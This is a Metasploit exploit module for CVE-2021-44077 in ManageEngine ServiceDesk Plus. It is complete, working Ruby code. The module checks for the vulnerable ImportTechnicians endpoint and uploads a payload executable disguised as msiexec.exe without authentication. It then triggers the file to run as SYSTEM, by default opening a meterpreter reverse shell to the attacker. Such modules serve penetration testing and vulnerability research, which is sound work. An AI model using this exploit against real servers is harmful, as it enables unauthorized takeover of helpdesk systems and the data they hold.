ManageEngine ServiceDesk Plus Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ServiceDesk Plus CVE-2021-44077',
        'Description' => %q{
          This module exploits CVE-2021-44077, an unauthenticated remote code
          execution vulnerability in ManageEngine ServiceDesk Plus, to upload an
          EXE (msiexec.exe) and execute it as the SYSTEM account.

          Note that build 11305 is vulnerable to the authentication bypass but
          not the file upload. The module will check for an exploitable build.
        },
        'Author' => [
          # Discovered by unknown threat actors
          'wvu', # Analysis and exploit
          'Y4er' # Additional confirmation
        ],
        'References' => [
          ['CVE', '2021-44077'],
          ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-authentication-bypass-vulnerability-in-servicedesk-plus-versions-11138-and-above'],
          ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/security-advisory-for-cve-2021-44077-unauthenticated-rce-vulnerability-in-servicedesk-plus-versions-up-to-11305-22-11-2021'],
          ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa21-336a'],
          ['URL', 'https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/'],
          ['URL', 'https://attackerkb.com/topics/qv2aD8YfMN/cve-2021-44077/rapid7-analysis'],
          ['URL', 'https://xz.aliyun.com/t/10631'] # Y4er's writeup
        ],
        'DisclosureDate' => '2021-09-16',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['Windows Dropper', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8080,
          'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians')
    )

    unless res
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    # NOTE: /RestAPI/ImportTechnicians was removed after build 11303
    unless res.code == 200 && res.get_html_document.at('//form[@name="ImportTechnicians"]')
      return CheckCode::Safe('/RestAPI/ImportTechnicians is not present.')
    end

    CheckCode::Appears('/RestAPI/ImportTechnicians is present.')
  end

  def exploit
    upload_msiexec
    execute_msiexec
  end

  def upload_msiexec
    print_status('Uploading msiexec.exe')

    form = Rex::MIME::Message.new
    form.add_part(Faker::Hacker.verb, nil, nil, 'form-data; name="step"')
    form.add_part(generate_payload_exe, 'application/octet-stream', 'binary',
                  'form-data; name="theFile"; filename="msiexec.exe"')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians'),
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'data' => form.to_s
    )

    unless res&.code == 401 && res.body.include?('sdp.vulnerability.exceptionerror.title')
      fail_with(Failure::NotVulnerable, 'Failed to upload msiexec.exe')
    end

    print_good('Successfully uploaded msiexec.exe')
  end

  def execute_msiexec
    print_status('Executing msiexec.exe')

    # This endpoint "won't" return
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/s247action'),
      'vars_post' => {
        'execute' => 's247AgentInstallationProcess'
      }
    }, 0)
  end

  # XXX: FileDropper dies a miserable death if the file is in use
  def on_new_session(_session)
    super

    # Working directory is C:\Program Files\ManageEngine\ServiceDesk\site24x7
    print_warning("Yo, don't forget to clean up ..\\bin\\msiexec.exe")
  end

end